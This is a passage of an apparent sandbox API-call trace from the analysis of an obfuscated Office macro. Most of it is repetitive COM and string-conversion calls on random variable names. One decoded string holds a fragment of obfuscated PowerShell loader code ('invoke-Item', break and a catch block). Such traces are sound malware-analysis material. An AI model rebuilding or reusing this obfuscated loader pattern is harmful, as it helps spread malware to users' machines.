pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.643] IUnknown:Release (This=0x7345930) returned 0x7 [0018.643] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.643] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="UCzOjDfJpWA", lHashVal=0x10e238, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.643] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.643] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.643] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_UCzOjDfJpWA") returned 0x10d39a [0018.643] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_UCzOjDfJpWA" | out: _Dst="_B_var_UCzOjDfJpWA") returned 0x0 [0018.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_UCzOjDfJpWA") returned 19 [0018.643] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.643] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_UCzOjDfJpWA", lHashVal=0x10d39a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.643] IUnknown:Release (This=0x7919520) returned 0xd [0018.643] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.643] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_UCzOjDfJpWA", lHashVal=0x10d39a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.643] IUnknown:Release (This=0x7346470) returned 0xb [0018.643] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.643] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_UCzOjDfJpWA", lHashVal=0x10d39a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.643] IUnknown:Release (This=0x7345930) returned 0x7 [0018.643] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.643] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_UCzOjDfJpWA", lHashVal=0x10d39a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.643] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.643] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.643] IUnknown:Release (This=0x7919520) returned 0xd [0018.643] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6242c, cbMultiByte=10, lpWideCharStr=0xcc22ae0, cchWideChar=22 | out: lpWideCharStr="pfFBbwCLbr") returned 10 [0018.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62446, cbMultiByte=10, lpWideCharStr=0xcc22f2a, cchWideChar=22 | out: lpWideCharStr="nVUMAdsqXs") returned 10 [0018.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6245a, cbMultiByte=10, lpWideCharStr=0xcc230d4, cchWideChar=22 | out: lpWideCharStr="wdzmiXzpYM") returned 10 [0018.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6246e, cbMultiByte=10, lpWideCharStr=0xcc2327e, cchWideChar=22 | out: lpWideCharStr="CoLVCRzhCH") returned 10 [0018.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62482, cbMultiByte=10, lpWideCharStr=0xcc23428, cchWideChar=22 | out: lpWideCharStr="sztzbKipzX") returned 10 [0018.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62496, cbMultiByte=10, lpWideCharStr=0xcc235d2, cchWideChar=22 | out: lpWideCharStr="jtshtMhSSE") returned 10 [0018.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb624aa, cbMultiByte=10, lpWideCharStr=0xcc2377c, cchWideChar=22 | out: lpWideCharStr="wNmPpwKwJi") returned 10 [0018.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb624be, cbMultiByte=10, lpWideCharStr=0xcc23926, cchWideChar=22 | out: lpWideCharStr="iLoQzwjwLX") returned 10 [0018.645] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcc30000 [0018.646] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UNDQjiBCtSj") returned 0x1063e6 [0018.646] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="UNDQjiBCtSj" | out: _Dst="UNDQjiBCtSj") returned 0x0 [0018.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="UNDQjiBCtSj") returned 12 [0018.646] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.646] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="UNDQjiBCtSj", lHashVal=0x1063e6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.646] IUnknown:Release (This=0x7919520) returned 0xd [0018.646] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.646] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="UNDQjiBCtSj", lHashVal=0x1063e6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.646] IUnknown:Release (This=0x7346470) returned 0xb [0018.646] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.646] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="UNDQjiBCtSj", lHashVal=0x1063e6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.646] IUnknown:Release (This=0x7345930) returned 0x7 [0018.646] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.646] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="UNDQjiBCtSj", lHashVal=0x1063e6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.646] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.646] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.646] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_UNDQjiBCtSj") returned 0x105548 [0018.646] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_UNDQjiBCtSj" | out: _Dst="_B_var_UNDQjiBCtSj") returned 0x0 [0018.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_UNDQjiBCtSj") returned 19 [0018.646] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.646] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_UNDQjiBCtSj", lHashVal=0x105548, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.646] IUnknown:Release (This=0x7919520) returned 0xd [0018.646] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.646] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_UNDQjiBCtSj", lHashVal=0x105548, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.646] IUnknown:Release (This=0x7346470) returned 0xb [0018.646] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.646] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_UNDQjiBCtSj", lHashVal=0x105548, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.646] IUnknown:Release (This=0x7345930) returned 0x7 [0018.646] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.646] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_UNDQjiBCtSj", lHashVal=0x105548, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.647] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.647] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.647] IUnknown:Release (This=0x7919520) returned 0xd [0018.647] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb624dc, cbMultiByte=10, lpWideCharStr=0xcc31dcc, cchWideChar=22 | out: lpWideCharStr="ZNUOIWvYXK") returned 10 [0018.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb624f6, cbMultiByte=10, lpWideCharStr=0xcc32216, cchWideChar=22 | out: lpWideCharStr="KtcYajkoDz") returned 10 [0018.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6250a, cbMultiByte=10, lpWideCharStr=0xcc323c0, cchWideChar=22 | out: lpWideCharStr="XbJnKKKKIC") returned 10 [0018.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6251e, cbMultiByte=10, lpWideCharStr=0xcc3256a, cchWideChar=22 | out: lpWideCharStr="sPNNlrwhYr") returned 10 [0018.647] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abb5c0 [0018.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62532, cbMultiByte=10, lpWideCharStr=0xcc32714, cchWideChar=22 | out: lpWideCharStr="FBwWKPzWDq") returned 10 [0018.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62546, cbMultiByte=10, lpWideCharStr=0xcc328be, cchWideChar=22 | out: lpWideCharStr="kYKQXwEhEw") returned 10 [0018.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6255a, cbMultiByte=10, lpWideCharStr=0xcc32a68, cchWideChar=22 | out: lpWideCharStr="MkQVSujOmj") returned 10 [0018.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6256e, cbMultiByte=10, lpWideCharStr=0xcc32c12, cchWideChar=22 | out: lpWideCharStr="kDPLuWfmdu") returned 10 [0018.648] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcd40000 [0018.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WDPKhJoqcEA") returned 0x1070a4 [0018.649] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="WDPKhJoqcEA" | out: _Dst="WDPKhJoqcEA") returned 0x0 [0018.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="WDPKhJoqcEA") returned 12 [0018.649] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.649] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WDPKhJoqcEA", lHashVal=0x1070a4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.649] IUnknown:Release (This=0x7919520) returned 0xd [0018.649] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.650] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WDPKhJoqcEA", lHashVal=0x1070a4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.650] IUnknown:Release (This=0x7346470) returned 0xb [0018.650] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.650] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WDPKhJoqcEA", lHashVal=0x1070a4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.650] IUnknown:Release (This=0x7345930) returned 0x7 [0018.650] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.650] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WDPKhJoqcEA", lHashVal=0x1070a4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.650] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.650] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_WDPKhJoqcEA") returned 0x106206 [0018.650] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_WDPKhJoqcEA" | out: _Dst="_B_var_WDPKhJoqcEA") returned 0x0 [0018.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_WDPKhJoqcEA") returned 19 [0018.650] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.650] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WDPKhJoqcEA", lHashVal=0x106206, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.650] IUnknown:Release (This=0x7919520) returned 0xd [0018.650] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.650] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WDPKhJoqcEA", lHashVal=0x106206, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.650] IUnknown:Release (This=0x7346470) returned 0xb [0018.650] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.650] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WDPKhJoqcEA", lHashVal=0x106206, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.650] IUnknown:Release (This=0x7345930) returned 0x7 [0018.650] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.650] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WDPKhJoqcEA", lHashVal=0x106206, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.650] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.650] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.650] IUnknown:Release (This=0x7919520) returned 0xd [0018.650] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6258c, cbMultiByte=10, lpWideCharStr=0xcd4109c, cchWideChar=22 | out: lpWideCharStr="HTSwPOjqwO") returned 10 [0018.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb625a6, cbMultiByte=10, lpWideCharStr=0xcd414e6, cchWideChar=22 | out: lpWideCharStr="UpnSoiIifc") returned 10 [0018.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb625ba, cbMultiByte=10, lpWideCharStr=0xcd41690, cchWideChar=22 | out: lpWideCharStr="EGDZjzjcmK") returned 10 [0018.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb625ce, cbMultiByte=10, lpWideCharStr=0xcd4183a, cchWideChar=22 | out: lpWideCharStr="MTRWdroiaF") returned 10 [0018.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb625e2, cbMultiByte=10, lpWideCharStr=0xcd419e4, cchWideChar=22 | out: lpWideCharStr="lXVXmAwERs") returned 10 [0018.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb625f6, cbMultiByte=10, lpWideCharStr=0xcd41b8e, cchWideChar=22 | out: lpWideCharStr="riEujBQsNP") returned 10 [0018.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6260a, cbMultiByte=10, lpWideCharStr=0xcd41d38, cchWideChar=22 | out: lpWideCharStr="hGDnCBYRow") returned 10 [0018.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6261e, cbMultiByte=10, lpWideCharStr=0xcd41ee2, cchWideChar=22 | out: lpWideCharStr="tiIZqhkfni") returned 10 [0018.651] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abb810 [0018.652] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcd50000 [0018.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lBrNTXfAkKz") returned 0x100379 [0018.653] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="lBrNTXfAkKz" | out: _Dst="lBrNTXfAkKz") returned 0x0 [0018.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="lBrNTXfAkKz") returned 12 [0018.653] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.653] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="lBrNTXfAkKz", lHashVal=0x100379, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.653] IUnknown:Release (This=0x7919520) returned 0xd [0018.653] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.653] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="lBrNTXfAkKz", lHashVal=0x100379, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.653] IUnknown:Release (This=0x7346470) returned 0xb [0018.653] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.653] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="lBrNTXfAkKz", lHashVal=0x100379, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.653] IUnknown:Release (This=0x7345930) returned 0x7 [0018.653] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.653] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="lBrNTXfAkKz", lHashVal=0x100379, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.653] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.653] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_lBrNTXfAkKz") returned 0x10f51a [0018.653] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_lBrNTXfAkKz" | out: _Dst="_B_var_lBrNTXfAkKz") returned 0x0 [0018.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_lBrNTXfAkKz") returned 19 [0018.653] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.653] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_lBrNTXfAkKz", lHashVal=0x10f51a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.653] IUnknown:Release (This=0x7919520) returned 0xd [0018.653] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.653] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_lBrNTXfAkKz", lHashVal=0x10f51a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.653] IUnknown:Release (This=0x7346470) returned 0xb [0018.653] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.653] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_lBrNTXfAkKz", lHashVal=0x10f51a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.653] IUnknown:Release (This=0x7345930) returned 0x7 [0018.653] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.653] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_lBrNTXfAkKz", lHashVal=0x10f51a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.653] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.653] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.654] IUnknown:Release (This=0x7919520) returned 0xd [0018.654] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6263c, cbMultiByte=123, lpWideCharStr=0xcd5038c, cchWideChar=248 | out: lpWideCharStr="roq6uxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.EuDw0r6sc") returned 123 [0018.654] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.654] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.654] IUnknown:Release (This=0x7919520) returned 0xd [0018.654] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NjkZVUC") returned 0x10f934 [0018.654] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="NjkZVUC" | out: _Dst="NjkZVUC") returned 0x0 [0018.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="NjkZVUC") returned 8 [0018.654] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.654] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="NjkZVUC", lHashVal=0x10f934, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.654] IUnknown:Release (This=0x7919520) returned 0xd [0018.654] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.654] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="NjkZVUC", lHashVal=0x10f934, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.654] IUnknown:Release (This=0x7346470) returned 0xb [0018.654] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.654] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="NjkZVUC", lHashVal=0x10f934, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.654] IUnknown:Release (This=0x7345930) returned 0x7 [0018.654] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.654] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="NjkZVUC", lHashVal=0x10f934, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.654] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.654] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_NjkZVUC") returned 0x10ed37 [0018.654] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_NjkZVUC" | out: _Dst="_B_var_NjkZVUC") returned 0x0 [0018.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_NjkZVUC") returned 15 [0018.654] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.654] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_NjkZVUC", lHashVal=0x10ed37, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.654] IUnknown:Release (This=0x7919520) returned 0xd [0018.654] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.654] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_NjkZVUC", lHashVal=0x10ed37, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.654] IUnknown:Release (This=0x7346470) returned 0xb [0018.654] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.654] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_NjkZVUC", lHashVal=0x10ed37, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.655] IUnknown:Release (This=0x7345930) returned 0x7 [0018.655] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.655] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_NjkZVUC", lHashVal=0x10ed37, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.655] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.655] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.655] IUnknown:Release (This=0x7919520) returned 0xd [0018.655] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb626d4, cbMultiByte=10, lpWideCharStr=0xcd511a0, cchWideChar=22 | out: lpWideCharStr="KnHRSTFwqn") returned 10 [0018.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb626ee, cbMultiByte=10, lpWideCharStr=0xcd515ea, cchWideChar=22 | out: lpWideCharStr="mRdafUkaEP") returned 10 [0018.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62702, cbMultiByte=10, lpWideCharStr=0xcd51794, cchWideChar=22 | out: lpWideCharStr="jljTGhIwWA") returned 10 [0018.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62716, cbMultiByte=10, lpWideCharStr=0xcd5193e, cchWideChar=22 | out: lpWideCharStr="SRDJoYdwDw") returned 10 [0018.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6272a, cbMultiByte=10, lpWideCharStr=0xcd51ae8, cchWideChar=22 | out: lpWideCharStr="ojYzzSZpjZ") returned 10 [0018.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6273e, cbMultiByte=10, lpWideCharStr=0xcd51c92, cchWideChar=22 | out: lpWideCharStr="lEiNLZDnKk") returned 10 [0018.656] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abba60 [0018.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62752, cbMultiByte=10, lpWideCharStr=0xcd51e3c, cchWideChar=22 | out: lpWideCharStr="KGapUVNTmG") returned 10 [0018.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62766, cbMultiByte=10, lpWideCharStr=0xcd51fe6, cchWideChar=22 | out: lpWideCharStr="qmXFaAMkWo") returned 10 [0018.656] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcd60000 [0018.657] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pSWCUA") returned 0x1031d8 [0018.657] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="pSWCUA" | out: _Dst="pSWCUA") returned 0x0 [0018.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="pSWCUA") returned 7 [0018.657] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.657] 